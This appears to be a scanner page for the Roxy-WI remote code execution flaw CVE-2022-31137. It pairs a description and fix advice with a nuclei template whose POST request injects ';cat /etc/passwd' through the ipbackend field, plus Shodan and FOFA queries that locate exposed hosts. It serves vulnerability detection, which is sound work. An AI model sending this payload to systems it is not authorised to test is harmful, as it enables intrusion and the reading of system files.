Roxy-WI < 6.1.1.0 - Remote Code Execution

criticalseverity

9.8CVSS score

90.6%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Roxy-WI before 6.1.1.0 is susceptible to remote code execution. System commands can be run remotely via the subprocess_execute function without processing the inputs received from the user in the /app/options.py file.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.

Fix

Users are advised to upgrade to latest version.

How to confirm it

Send: POST /app/options.py
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2022-31137 -u <target>

The full check

id: CVE-2022-31137

info:
  name: Roxy-WI < 6.1.1.0 - Remote Code Execution
  author: DhiyaneshDK
  severity: critical
  description: |
    Roxy-WI before 6.1.1.0 is susceptible to remote code execution. System commands can be run remotely via the subprocess_execute function without processing the inputs received from the user in the /app/options.py file.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Users are advised to upgrade to latest version.
  reference:
    - http://packetstormsecurity.com/files/167805/Roxy-WI-Remote-Command-Execution.html
    - https://www.cve.org/CVERecord?id=CVE-2022-31137
    - https://github.com/hap-wi/roxy-wi/security/advisories/GHSA-mh86-878h-43c9
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31137
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-31137
    cwe-id: CWE-74
    epss-score: 0.90577
    epss-percentile: 0.99804
    cpe: cpe:2.3:a:roxy-wi:roxy-wi:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: roxy-wi
    product: roxy-wi
    shodan-query:
      - http.html:"Roxy-WI"
      - http.html:"roxy-wi"
    fofa-query: body="roxy-wi"
  tags: cve2022,cve,rce,roxy,roxy-wi,vkev,vuln

http:
  - raw:
      - |
        POST /app/options.py HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}/app/login.py

        alert_consumer=1&serv=127.0.0.1&ipbackend=";cat+/etc/passwd+##&backend_server=127.0.0.1

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from